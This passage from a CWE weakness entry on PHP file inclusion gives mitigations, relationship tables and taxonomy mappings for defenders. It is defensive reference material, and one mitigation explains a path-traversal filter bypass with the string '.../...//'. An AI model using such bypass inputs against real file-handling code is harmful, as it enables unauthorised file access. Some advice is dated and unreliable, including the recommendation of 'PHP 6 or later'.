Do not rely exclusively on looking for malicious or malformed inputs (i.e., do not rely on a blacklist). A blacklist is likely to miss at least one undesirable input, especially if the code's environment changes. This can give attackers enough room to bypass the intended validation. However, blacklists can be useful for detecting potential attacks or determining which inputs are so malformed that they should be rejected outright.

When validating filenames, use stringent whitelists that limit the character set to be used. If feasible, only allow a single "." character in the filename to avoid weaknesses such as CWE-23, and exclude directory separators such as "/" to avoid CWE-36. Use a whitelist of allowable file extensions, which will help to avoid CWE-434.

Do not rely exclusively on a filtering mechanism that removes potentially dangerous characters. This is equivalent to a blacklist, which may be incomplete (CWE-184). For example, filtering "/" is insufficient protection if the filesystem also supports the use of "\" as a directory separator. Another possible error could occur when the filtering is applied in a way that still produces dangerous data (CWE-182). For example, if "../" sequences are removed from the ".../...//" string in a sequential fashion, two instances of "../" would be removed from the original string, but the remaining characters would still form the "../" string.

Phases: Architecture and Design; Operation

Strategy: Identify and Reduce Attack Surface

Store library, include, and utility files outside of the web document root, if possible. Otherwise, store them in a separate directory and use the web server's access control capabilities to prevent attackers from directly requesting them. One common practice is to define a fixed constant in each calling program, then check for the existence of the constant in the library/include file; if the constant does not exist, then the file was directly requested, and it can exit immediately.

This significantly reduces the chance of an attacker being able to bypass any protection mechanisms that are in the base program but not in the include files. It will also reduce the attack surface.

Phases: Architecture and Design; Implementation

Strategy: Identify and Reduce Attack Surface

Understand all the potential areas where untrusted inputs can enter your software: parameters or arguments, cookies, anything read from the network, environment variables, reverse DNS lookups, query results, request headers, URL components, e-mail, files, filenames, databases, and any external systems that provide data to the application. Remember that such inputs may be obtained indirectly through API calls.

Many file inclusion problems occur because the programmer assumed that certain inputs could not be modified, especially for cookies and URL components.

Phase: Operation

Strategy: Firewall

Use an application firewall that can detect attacks against this weakness. It can be beneficial in cases in which the code cannot be fixed (because it is controlled by a third party), as an emergency prevention measure while more comprehensive software assurance measures are applied, or to provide defense in depth.

Effectiveness: Moderate

An application firewall might not cover all possible input vectors. In addition, attack techniques might be available to bypass the protection mechanism, such as using malformed inputs that can still be processed by the component that receives those inputs. Depending on functionality, an application firewall might inadvertently reject or modify legitimate requests. Finally, some manual effort may be required for customization.

Phases: Operation; Implementation

Strategy: Environment Hardening

Develop and run your code in the most recent versions of PHP available, preferably PHP 6 or later. Many of the highly risky features in earlier PHP interpreters have been removed, restricted, or disabled by default.

Phases: Operation; Implementation

Strategy: Environment Hardening

When using PHP, configure the application so that it does not use register_globals. During implementation, develop the application so that it does not rely on this feature, but be wary of implementing a register_globals emulation that is subject to weaknesses such as CWE-95, CWE-621, and similar issues.

Often, programmers do not protect direct access to files intended only to be included by core programs. These include files may assume that critical variables have already been initialized by the calling program. As a result, the use of register_globals combined with the ability to directly access the include file may allow attackers to conduct file inclusion attacks. This remains an extremely common pattern as of 2009.

Phase: Operation

Strategy: Environment Hardening

Set allow_url_fopen to false, which limits the ability to include files from remote locations.

Effectiveness: High

Be aware that some versions of PHP will still accept ftp:// and other URI schemes. In addition, this setting does not protect the code from path traversal attacks (CWE-22), which are frequently successful against the same vulnerable code that allows remote file inclusion.

+ Relationships
NatureTypeIDNameView(s) this relationship pertains toView(s)
ChildOfCategoryCategory632Weaknesses that Affect Files or Directories
Resource-specific Weaknesses (primary)631
ChildOfWeakness ClassWeakness Class706Use of Incorrectly-Resolved Name or Reference
Research Concepts1000
ChildOfCategoryCategory714OWASP Top Ten 2007 Category A3 - Malicious File Execution
Weaknesses in OWASP Top Ten (2007) (primary)629
ChildOfCategoryCategory727OWASP Top Ten 2004 Category A6 - Injection Flaws
Weaknesses in OWASP Top Ten (2004) (primary)711
ChildOfCategoryCategory8022010 Top 25 - Risky Resource Management
Weaknesses in the 2010 CWE/SANS Top 25 Most Dangerous Programming Errors (primary)800
ChildOfWeakness ClassWeakness Class829Inclusion of Functionality from Untrusted Control Sphere
Development Concepts (primary)699
Research Concepts (primary)1000
CanPrecedeWeakness ClassWeakness Class94Improper Control of Generation of Code ('Code Injection')
Development Concepts699
Research Concepts1000
PeerOfWeakness ClassWeakness Class216Containment Errors (Container Errors)
Research Concepts1000
CanAlsoBeCompound Element: CompositeCompound Element: Composite426Untrusted Search Path
Research Concepts1000
CanFollowWeakness ClassWeakness Class73External Control of File Name or Path
Research Concepts1000
CanFollowWeakness BaseWeakness Base184Incomplete Blacklist
Research Concepts1000
CanFollowWeakness BaseWeakness Base425Direct Request ('Forced Browsing')
Research Concepts1000
CanFollowWeakness BaseWeakness Base456Missing Initialization of a Variable
Research Concepts1000
CanFollowWeakness VariantWeakness Variant473PHP External Variable Modification
Research Concepts1000
+ Relationship Notes

This is frequently a functional consequence of other weaknesses. It is usually multi-factor with other factors (e.g. MAID), although not all inclusion bugs involve assumed-immutable data. Direct request weaknesses frequently play a role.

Can overlap directory traversal in local inclusion problems.

+ Research Gaps

Under-researched and under-reported. Other interpreted languages with "require" and "include" functionality could also product vulnerable applications, but as of 2007, PHP has been the focus. Any web-accessible language that uses executable file extensions is likely to have this type of issue, such as ASP, since .asp extensions are typically executable. Languages such as Perl are less likely to exhibit these problems because the .pl extension isn't always configured to be executable by the web server.

+ Affected Resources
  • File/Directory
+ Taxonomy Mappings
Mapped Taxonomy NameNode IDFitMapped Node Name
PLOVERPHP File Include
OWASP Top Ten 2007A3CWE More SpecificMalicious File Execution
WASC5